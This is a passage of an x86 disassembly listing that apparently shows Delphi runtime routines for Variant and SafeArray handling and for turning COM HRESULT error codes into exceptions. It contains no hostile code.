		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000D08A:				; DATA XREF: sub_2000D040+8o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000D081
; ---------------------------------------------------------------------------


loc_2000D091:				; CODE XREF: sub_2000D040+49j
					; DATA XREF: sub_2000D040+3Co
		pop	ecx
		pop	ebp
		retn
sub_2000D040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D094	proc near		; CODE XREF: sub_2000D3E4+25p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_1C], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000D123
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_2000EB50
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 0Bh
		lea	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_2000EB50
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	edx, [ebp+var_1C]
		mov	eax, ds:off_200144FC
		call	sub_20005994
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, off_2000CB5C
		call	sub_2000A520
		call	sub_20003A08
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000D12A


loc_2000D115:				; CODE XREF: sub_2000D094+94j
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000D123:				; DATA XREF: sub_2000D094+1Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000D115
; ---------------------------------------------------------------------------


loc_2000D12A:				; CODE XREF: sub_2000D094+8Ej
					; DATA XREF: sub_2000D094+7Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000D094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D130	proc near		; CODE XREF: sub_2000D798+F9p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_2000D17A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_20014484
		call	sub_20005994
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, off_2000CD54
		call	sub_2000A4E4
		call	sub_20003A08
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000D181


loc_2000D171:				; CODE XREF: sub_2000D130+4Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000D17A:				; DATA XREF: sub_2000D130+8o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000D171
; ---------------------------------------------------------------------------


loc_2000D181:				; CODE XREF: sub_2000D130+49j
					; DATA XREF: sub_2000D130+3Co
		pop	ecx
		pop	ebp
		retn
sub_2000D130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D184	proc near		; CODE XREF: sub_2000D3D8+4p
					; sub_2000D3E4:loc_2000D410p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_2000D18C:				; CODE XREF: sub_2000D184+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_2000D18C
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000D3C9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		cmp	eax, 8002000Ah
		jg	short loc_2000D1E6
		jz	loc_2000D24D
		cmp	eax, 80020005h
		jg	short loc_2000D1D7
		jz	short loc_2000D213
		sub	eax, 80004001h
		jz	loc_2000D2BF
		sub	eax, 0BFFEh
		jz	loc_2000D32E
		jmp	loc_2000D351
; ---------------------------------------------------------------------------


loc_2000D1D7:				; CODE XREF: sub_2000D184+34j
		sub	eax, 80020008h
		jz	short loc_2000D21D
		dec	eax
		jz	short loc_2000D243
		jmp	loc_2000D351
; ---------------------------------------------------------------------------


loc_2000D1E6:				; CODE XREF: sub_2000D184+27j
		sub	eax, 8002000Bh
		jz	loc_2000D273
		sub	eax, 2
		jz	loc_2000D299
		sub	eax, 50001h
		jz	loc_2000D2E5
		sub	eax, 49h
		jz	loc_2000D30B
		jmp	loc_2000D351
; ---------------------------------------------------------------------------


loc_2000D213:				; CODE XREF: sub_2000D184+36j
		call	sub_2000CF50
		jmp	loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D21D:				; CODE XREF: sub_2000D184+58j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_2001456C
		call	sub_20005994
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, off_2000CC24
		call	sub_2000A4E4
		call	sub_20003A08
		jmp	loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D243:				; CODE XREF: sub_2000D184+5Bj
		call	sub_2000D040
		jmp	loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D24D:				; CODE XREF: sub_2000D184+29j
		lea	edx, [ebp+var_8]
		mov	eax, ds:off_20014408
		call	sub_20005994
		mov	ecx, [ebp+var_8]
		mov	dl, 1
		mov	eax, off_2000CB5C
		call	sub_2000A4E4
		call	sub_20003A08
		jmp	loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D273:				; CODE XREF: sub_2000D184+67j
		lea	edx, [ebp+var_C]
		mov	eax, ds:off_20014530
		call	sub_20005994
		mov	ecx, [ebp+var_C]
		mov	dl, 1
		mov	eax, off_2000CC88
		call	sub_2000A4E4
		call	sub_20003A08
		jmp	loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D299:				; CODE XREF: sub_2000D184+70j
		lea	edx, [ebp+var_10]
		mov	eax, ds:off_20014598
		call	sub_20005994
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, off_2000CCEC
		call	sub_2000A4E4
		call	sub_20003A08
		jmp	loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D2BF:				; CODE XREF: sub_2000D184+3Dj
		lea	edx, [ebp+var_14]
		mov	eax, ds:off_200144D8
		call	sub_20005994
		mov	ecx, [ebp+var_14]
		mov	dl, 1
		mov	eax, off_2000CDBC
		call	sub_2000A4E4
		call	sub_20003A08
		jmp	loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D2E5:				; CODE XREF: sub_2000D184+7Bj
		lea	edx, [ebp+var_18]
		mov	eax, ds:off_2001442C
		call	sub_20005994
		mov	ecx, [ebp+var_18]
		mov	dl, 1
		mov	eax, off_2000CE20
		call	sub_2000A4E4
		call	sub_20003A08
		jmp	loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D30B:				; CODE XREF: sub_2000D184+84j
		lea	edx, [ebp+var_1C]
		mov	eax, ds:off_20014440
		call	sub_20005994
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, off_2000CBC0
		call	sub_2000A4E4
		call	sub_20003A08
		jmp	short loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D32E:				; CODE XREF: sub_2000D184+48j
		lea	edx, [ebp+var_20]
		mov	eax, ds:off_20014404
		call	sub_20005994
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, off_2000CE88
		call	sub_2000A4E4
		call	sub_20003A08
		jmp	short loc_2000D3A1
; ---------------------------------------------------------------------------


loc_2000D351:				; CODE XREF: sub_2000D184+4Ej
					; sub_2000D184+5Dj ...
		mov	eax, ds:off_20014578
		mov	eax, [eax]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], 0Bh
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], 0
		lea	edx, [ebp+var_3C]
		mov	eax, ebx
		call	sub_20009CDC
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], 0Bh
		lea	eax, [ebp+var_38]
		push	eax
		push	2
		lea	edx, [ebp+var_40]
		mov	eax, ds:off_20014488
		call	sub_20005994
		mov	ecx, [ebp+var_40]
		mov	dl, 1
		mov	eax, off_20006B1C
		call	sub_2000A520
		call	sub_20003A08


loc_2000D3A1:				; CODE XREF: sub_2000D184+94j
					; sub_2000D184+BAj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000D3D0


loc_2000D3AE:				; CODE XREF: sub_2000D184+24Aj
		lea	eax, [ebp+var_40]
		mov	edx, 2
		call	sub_20003FCC
		lea	eax, [ebp+var_20]
		mov	edx, 8
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000D3C9:				; DATA XREF: sub_2000D184+15o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000D3AE
; ---------------------------------------------------------------------------


loc_2000D3D0:				; CODE XREF: sub_2000D184+244j
					; DATA XREF: sub_2000D184+225o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000D184	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000D3D8	proc near		; CODE XREF: sub_2000D4F8+23p
					; sub_2000D4F8+B4p ...
		test	eax, eax
		jz	short locret_2000D3E1
		call	sub_2000D184

locret_2000D3E1:			; CODE XREF: sub_2000D3D8+2j
		retn
sub_2000D3D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000D3E4	proc near		; CODE XREF: sub_2000DA5C+2Cp
					; sub_2000DA94+2Cp ...
		push	ebx
		test	eax, eax
		jz	short loc_2000D415
		mov	ebx, eax
		sub	ebx, 80020005h
		jz	short loc_2000D3FA
		sub	ebx, 5
		jz	short loc_2000D405
		jmp	short loc_2000D410
; ---------------------------------------------------------------------------


loc_2000D3FA:				; CODE XREF: sub_2000D3E4+Dj
		mov	eax, edx
		mov	edx, ecx
		call	sub_2000CFA4
		jmp	short loc_2000D415
; ---------------------------------------------------------------------------


loc_2000D405:				; CODE XREF: sub_2000D3E4+12j
		mov	eax, edx
		mov	edx, ecx
		call	sub_2000D094
		jmp	short loc_2000D415
; ---------------------------------------------------------------------------


loc_2000D410:				; CODE XREF: sub_2000D3E4+14j
		call	sub_2000D184


loc_2000D415:				; CODE XREF: sub_2000D3E4+3j
					; sub_2000D3E4+1Fj ...
		pop	ebx
		retn
sub_2000D3E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D418	proc near		; CODE XREF: sub_2000EF3Cp
					; DATA XREF: CODE:2000F100o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_2000D462
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_200143C8
		call	sub_20005994
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, off_2000CEEC
		call	sub_2000A4E4
		call	sub_20003A08
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000D469


loc_2000D459:				; CODE XREF: sub_2000D418+4Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000D462:				; DATA XREF: sub_2000D418+8o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000D459
; ---------------------------------------------------------------------------


loc_2000D469:				; CODE XREF: sub_2000D418+49j
					; DATA XREF: sub_2000D418+3Co
		pop	ecx
		pop	ebp
		retn
sub_2000D418	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D46C	proc near		; CODE XREF: sub_2000D4F8+123p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		add	ecx, 0FFFFFD00h


loc_2000D479:				; CODE XREF: sub_2000D46C+28j
		mov	edx, [ecx+eax*8+4]
		add	edx, [ecx+eax*8]
		mov	ebx, [ebp+arg_0]
		cmp	edx, [ebx+eax*4-100h]
		setnle	dl
		dec	eax
		test	dl, dl
		jz	short loc_2000D496
		test	eax, eax
		jge	short loc_2000D479


loc_2000D496:				; CODE XREF: sub_2000D46C+24j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_2000D46C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D49C	proc near		; CODE XREF: sub_2000D49C+4Dp
					; sub_2000D4F8+15Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	dl, 1
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+eax*4-100h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+eax*8-2FCh]
		mov	ebx, ecx
		mov	esi, [ebp+arg_0]
		add	ebx, [esi+eax*8-300h]
		mov	esi, [ebp+arg_0]
		cmp	ebx, [esi+eax*4-100h]
		jg	short loc_2000D4F1
		test	eax, eax
		jnz	short loc_2000D4D7
		xor	edx, edx
		jmp	short loc_2000D4F1
; ---------------------------------------------------------------------------


loc_2000D4D7:				; CODE XREF: sub_2000D49C+35j
		mov	edx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	[edx+eax*4-100h], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		dec	eax
		call	sub_2000D49C
		pop	ecx
		mov	edx, eax


loc_2000D4F1:				; CODE XREF: sub_2000D49C+31j
					; sub_2000D49C+39j
		mov	eax, edx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_2000D49C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D4F8	proc near		; CODE XREF: sub_2000D674+4Bp

var_318		= dword	ptr -318h
ppvData		= dword	ptr -314h
var_310		= dword	ptr -310h
plUbound	= dword	ptr -30Ch
psa		= dword	ptr -308h
pvarg		= dword	ptr -304h
var_300		= byte ptr -300h
var_2FC		= byte ptr -2FCh
rgIndices	= dword	ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+pvarg], eax
		mov	eax, [ebp+pvarg]
		test	byte ptr [eax+1], 20h
		jnz	short loc_2000D520
		mov	eax, 80070057h
		call	sub_2000D3D8


loc_2000D520:				; CODE XREF: sub_2000D4F8+1Cj
		mov	eax, [ebp+pvarg]
		mov	ax, [eax]
		mov	edx, eax
		and	dx, 0FFFh
		cmp	dx, 0Ch
		jnz	loc_2000D65C
		mov	edx, [ebp+pvarg]
		test	ah, 40h
		jz	short loc_2000D558
		mov	eax, [ebp+pvarg]
		mov	eax, [eax+8]
		mov	eax, [eax]
		mov	[ebp+psa], eax
		jmp	short loc_2000D567
; ---------------------------------------------------------------------------


loc_2000D558:				; CODE XREF: sub_2000D4F8+4Bj
		mov	eax, [ebp+pvarg]
		mov	eax, [eax+8]
		mov	[ebp+psa], eax


loc_2000D567:				; CODE XREF: sub_2000D4F8+5Ej
		mov	eax, [ebp+psa]
		movzx	eax, word ptr [eax]
		mov	[ebp+var_310], eax
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_2000D5EC
		inc	ebx
		xor	edi, edi
		lea	esi, [ebp+var_300]


loc_2000D58A:				; CODE XREF: sub_2000D4F8+F2j
		mov	eax, esi
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		add	eax, 4
		push	eax		; plLbound
		lea	eax, [edi+1]
		push	eax		; nDim
		mov	eax, [ebp+psa]
		push	eax		; psa
		call	SafeArrayGetLBound
		call	sub_2000D3D8
		lea	eax, [ebp+plUbound]
		push	eax		; plUbound
		lea	eax, [edi+1]
		push	eax		; nDim
		mov	eax, [ebp+psa]
		push	eax		; psa
		call	SafeArrayGetUBound
		call	sub_2000D3D8
		mov	eax, [ebp+var_318]
		mov	edx, [ebp+plUbound]
		sub	edx, [eax+4]
		inc	edx
		mov	eax, [ebp+var_318]
		mov	[eax], edx
		inc	edi
		add	esi, 8
		dec	ebx
		jnz	short loc_2000D58A


loc_2000D5EC:				; CODE XREF: sub_2000D4F8+87j
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_2000D611
		inc	ebx
		lea	eax, [ebp+var_2FC]
		lea	edx, [ebp+rgIndices]


loc_2000D604:				; CODE XREF: sub_2000D4F8+117j
		mov	ecx, [eax]
		mov	[edx], ecx
		add	edx, 4
		add	eax, 8
		dec	ebx
		jnz	short loc_2000D604


loc_2000D611:				; CODE XREF: sub_2000D4F8+FDj
					; sub_2000D4F8+162j
		push	ebp
		mov	ebx, [ebp+var_310]
		dec	ebx
		mov	eax, ebx
		call	sub_2000D46C
		pop	ecx
		test	al, al
		jz	short loc_2000D64F
		lea	eax, [ebp+ppvData]
		push	eax		; ppvData
		lea	eax, [ebp+rgIndices]
		push	eax		; rgIndices
		mov	eax, [ebp+psa]
		push	eax		; psa
		call	SafeArrayPtrOfIndex
		call	sub_2000D3D8
		mov	eax, [ebp+ppvData]
		call	sub_2000D6F0


loc_2000D64F:				; CODE XREF: sub_2000D4F8+12Bj
		push	ebp
		mov	eax, ebx
		call	sub_2000D49C
		pop	ecx
		test	al, al
		jnz	short loc_2000D611


loc_2000D65C:				; CODE XREF: sub_2000D4F8+3Cj
		mov	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		call	sub_2000D3D8
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000D4F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000D674	proc near		; CODE XREF: sub_2000D6F0:loc_2000D6FDp
					; sub_2000D96C+11p ...

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		mov	si, [ebx]
		cmp	si, 14h
		jnb	short loc_2000D68F
		push	ebx		; pvarg
		call	VariantClear
		call	sub_2000D3D8
		jmp	short loc_2000D6EA
; ---------------------------------------------------------------------------


loc_2000D68F:				; CODE XREF: sub_2000D674+Cj
		cmp	si, 100h
		jnz	short loc_2000D6A5
		mov	word ptr [ebx],	0
		lea	eax, [ebx+8]
		call	sub_20003FA8
		jmp	short loc_2000D6EA
; ---------------------------------------------------------------------------


loc_2000D6A5:				; CODE XREF: sub_2000D674+20j
		cmp	si, 101h
		jnz	short loc_2000D6B6
		mov	eax, ebx
		call	ds:dword_20015824
		jmp	short loc_2000D6EA
; ---------------------------------------------------------------------------


loc_2000D6B6:				; CODE XREF: sub_2000D674+36j
		test	si, 2000h
		jz	short loc_2000D6C6
		mov	eax, ebx
		call	sub_2000D4F8
		jmp	short loc_2000D6EA
; ---------------------------------------------------------------------------


loc_2000D6C6:				; CODE XREF: sub_2000D674+47j
		mov	edx, esp
		mov	eax, esi
		call	sub_2000EFAC
		test	al, al
		jz	short loc_2000D6DF
		mov	edx, ebx
		mov	eax, [esp+0Ch+var_C]
		mov	ecx, [eax]
		call	dword ptr [ecx+24h]
		jmp	short loc_2000D6EA
; ---------------------------------------------------------------------------


loc_2000D6DF:				; CODE XREF: sub_2000D674+5Dj
		push	ebx		; pvarg
		call	VariantClear
		call	sub_2000D3D8


loc_2000D6EA:				; CODE XREF: sub_2000D674+19j
					; sub_2000D674+2Fj ...
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_2000D674	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000D6F0	proc near		; CODE XREF: sub_2000D4F8+152p
					; sub_2000D704+1p ...
		test	word ptr [eax],	0BFE8h
		jnz	short loc_2000D6FD
		mov	word ptr [eax],	0
		retn
; ---------------------------------------------------------------------------


loc_2000D6FD:				; CODE XREF: sub_2000D6F0+5j
		call	sub_2000D674
		retn
sub_2000D6F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000D704	proc near		; CODE XREF: CODE:2000F0C0p
					; DATA XREF: CODE:2000F124o
		push	eax
		call	sub_2000D6F0
		pop	eax
		retn
sub_2000D704	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D70C	proc near		; CODE XREF: sub_2000D798+14Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		add	ecx, 0FFFFFD00h


loc_2000D719:				; CODE XREF: sub_2000D70C+28j
		mov	edx, [ecx+eax*8+4]
		add	edx, [ecx+eax*8]
		mov	ebx, [ebp+arg_0]
		cmp	edx, [ebx+eax*4-100h]
		setnle	dl
		dec	eax
		test	dl, dl
		jz	short loc_2000D736
		test	eax, eax
		jge	short loc_2000D719


loc_2000D736:				; CODE XREF: sub_2000D70C+24j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_2000D70C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D73C	proc near		; CODE XREF: sub_2000D73C+4Dp
					; sub_2000D798+1A5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	dl, 1
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+eax*4-100h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+eax*8-2FCh]
		mov	ebx, ecx
		mov	esi, [ebp+arg_0]
		add	ebx, [esi+eax*8-300h]
		mov	esi, [ebp+arg_0]
		cmp	ebx, [esi+eax*4-100h]
		jg	short loc_2000D791
		test	eax, eax
		jnz	short loc_2000D777
		xor	edx, edx
		jmp	short loc_2000D791
; ---------------------------------------------------------------------------


loc_2000D777:				; CODE XREF: sub_2000D73C+35j
		mov	edx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	[edx+eax*4-100h], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		dec	eax
		call	sub_2000D73C
		pop	ecx
		mov	edx, eax


loc_2000D791:				; CODE XREF: sub_2000D73C+31j
					; sub_2000D73C+39j
		mov	eax, edx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_2000D73C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D798	proc near		; CODE XREF: sub_2000D96C+75p

var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
ppvData		= dword	ptr -318h
psa		= dword	ptr -314h
cDims		= dword	ptr -310h
plUbound	= dword	ptr -30Ch
var_308		= dword	ptr -308h
pvargDest	= dword	ptr -304h
rgsabound	= SAFEARRAYBOUND ptr -300h
rgIndices	= dword	ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_308], ecx
		mov	ebx, edx
		mov	[ebp+pvargDest], eax
		test	byte ptr [ebx+1], 20h
		jnz	short loc_2000D7C2
		mov	eax, 80070057h
		call	sub_2000D3D8


loc_2000D7C2:				; CODE XREF: sub_2000D798+1Ej
		mov	ax, [ebx]
		mov	edx, eax
		and	dx, 0FFFh
		cmp	dx, 0Ch
		jnz	loc_2000D949
		test	ah, 40h
		jz	short loc_2000D7E8
		mov	eax, [ebx+8]
		mov	eax, [eax]
		mov	[ebp+psa], eax
		jmp	short loc_2000D7F1
; ---------------------------------------------------------------------------


loc_2000D7E8:				; CODE XREF: sub_2000D798+41j
		mov	eax, [ebx+8]
		mov	[ebp+psa], eax


loc_2000D7F1:				; CODE XREF: sub_2000D798+4Ej
		mov	eax, [ebp+psa]
		movzx	eax, word ptr [eax]
		mov	[ebp+cDims], eax
		mov	ebx, [ebp+cDims]
		dec	ebx
		test	ebx, ebx
		jl	short loc_2000D876
		inc	ebx
		xor	edi, edi
		lea	esi, [ebp+rgsabound]


loc_2000D814:				; CODE XREF: sub_2000D798+DCj
		mov	eax, esi
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_320]
		add	eax, 4
		push	eax		; plLbound
		lea	eax, [edi+1]
		push	eax		; nDim
		mov	eax, [ebp+psa]
		push	eax		; psa
		call	SafeArrayGetLBound
		call	sub_2000D3D8
		lea	eax, [ebp+plUbound]
		push	eax		; plUbound
		lea	eax, [edi+1]
		push	eax		; nDim
		mov	eax, [ebp+psa]
		push	eax		; psa
		call	SafeArrayGetUBound
		call	sub_2000D3D8
		mov	eax, [ebp+var_320]
		mov	edx, [ebp+plUbound]
		sub	edx, [eax+4]
		inc	edx
		mov	eax, [ebp+var_320]
		mov	[eax], edx
		inc	edi
		add	esi, 8
		dec	ebx
		jnz	short loc_2000D814


loc_2000D876:				; CODE XREF: sub_2000D798+71j
		lea	eax, [ebp+rgsabound]
		push	eax		; rgsabound
		mov	eax, [ebp+cDims]
		push	eax		; cDims
		push	0Ch		; vt
		call	SafeArrayCreate
		mov	esi, eax
		test	esi, esi
		jnz	short loc_2000D896
		call	sub_2000D130


loc_2000D896:				; CODE XREF: sub_2000D798+F7j
		mov	eax, [ebp+pvargDest]
		call	sub_2000D6F0
		mov	eax, [ebp+pvargDest]
		mov	word ptr [eax],	200Ch
		mov	eax, [ebp+pvargDest]
		mov	[eax+8], esi
		mov	ebx, [ebp+cDims]
		dec	ebx
		test	ebx, ebx
		jl	short loc_2000D8DA
		inc	ebx
		lea	eax, [ebp+rgsabound.lLbound]
		lea	edx, [ebp+rgIndices]


loc_2000D8CD:				; CODE XREF: sub_2000D798+140j
		mov	ecx, [eax]
		mov	[edx], ecx
		add	edx, 4
		add	eax, 8
		dec	ebx
		jnz	short loc_2000D8CD


loc_2000D8DA:				; CODE XREF: sub_2000D798+126j
					; sub_2000D798+1ADj
		push	ebp
		mov	ebx, [ebp+cDims]
		dec	ebx
		mov	eax, ebx
		call	sub_2000D70C
		pop	ecx
		test	al, al
		jz	short loc_2000D93A
		lea	eax, [ebp+ppvData]
		push	eax		; ppvData
		lea	eax, [ebp+rgIndices]
		push	eax		; rgIndices
		mov	eax, [ebp+psa]
		push	eax		; psa
		call	SafeArrayPtrOfIndex
		call	sub_2000D3D8
		lea	eax, [ebp+var_31C]
		push	eax		; ppvData
		lea	eax, [ebp+rgIndices]
		push	eax		; rgIndices
		push	esi		; psa
		call	SafeArrayPtrOfIndex
		call	sub_2000D3D8
		mov	eax, [ebp+ppvData]
		mov	edx, eax
		mov	eax, [ebp+var_31C]
		call	[ebp+var_308]


loc_2000D93A:				; CODE XREF: sub_2000D798+154j
		push	ebp
		mov	eax, ebx
		call	sub_2000D73C
		pop	ecx
		test	al, al
		jnz	short loc_2000D8DA
		jmp	short loc_2000D95B
; ---------------------------------------------------------------------------


loc_2000D949:				; CODE XREF: sub_2000D798+38j
		push	ebx		; pvargSrc
		mov	eax, [ebp+pvargDest]
		push	eax		; pvargDest
		call	VariantCopy
		call	sub_2000D3D8


loc_2000D95B:				; CODE XREF: sub_2000D798+1AFj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000D798	endp

; ---------------------------------------------------------------------------
		align 4


loc_2000D964:				; DATA XREF: sub_2000D96C+6Co
		call	sub_2000DA18
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000D96C	proc near		; CODE XREF: sub_2000DA18+3Bp

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_2000D982
		mov	eax, ebx
		call	sub_2000D674


loc_2000D982:				; CODE XREF: sub_2000D96C+Dj
		mov	di, [esi]
		cmp	di, 14h
		jnb	short loc_2000D999
		push	esi		; pvargSrc
		push	ebx		; pvargDest
		call	VariantCopy
		call	sub_2000D3D8
		jmp	short loc_2000DA12
; ---------------------------------------------------------------------------


loc_2000D999:				; CODE XREF: sub_2000D96C+1Dj
		cmp	di, 100h
		jnz	short loc_2000D9B7
		mov	word ptr [ebx],	100h
		xor	eax, eax
		mov	[ebx+8], eax
		lea	eax, [ebx+8]
		mov	edx, [esi+8]
		call	sub_20003FFC
		jmp	short loc_2000DA12
; ---------------------------------------------------------------------------


loc_2000D9B7:				; CODE XREF: sub_2000D96C+32j
		cmp	di, 101h
		jnz	short loc_2000D9D1
		mov	[ebx], di
		mov	eax, [esi+8]
		mov	[ebx+8], eax
		mov	eax, ebx
		call	ds:dword_2001582C
		jmp	short loc_2000DA12
; ---------------------------------------------------------------------------


loc_2000D9D1:				; CODE XREF: sub_2000D96C+50j
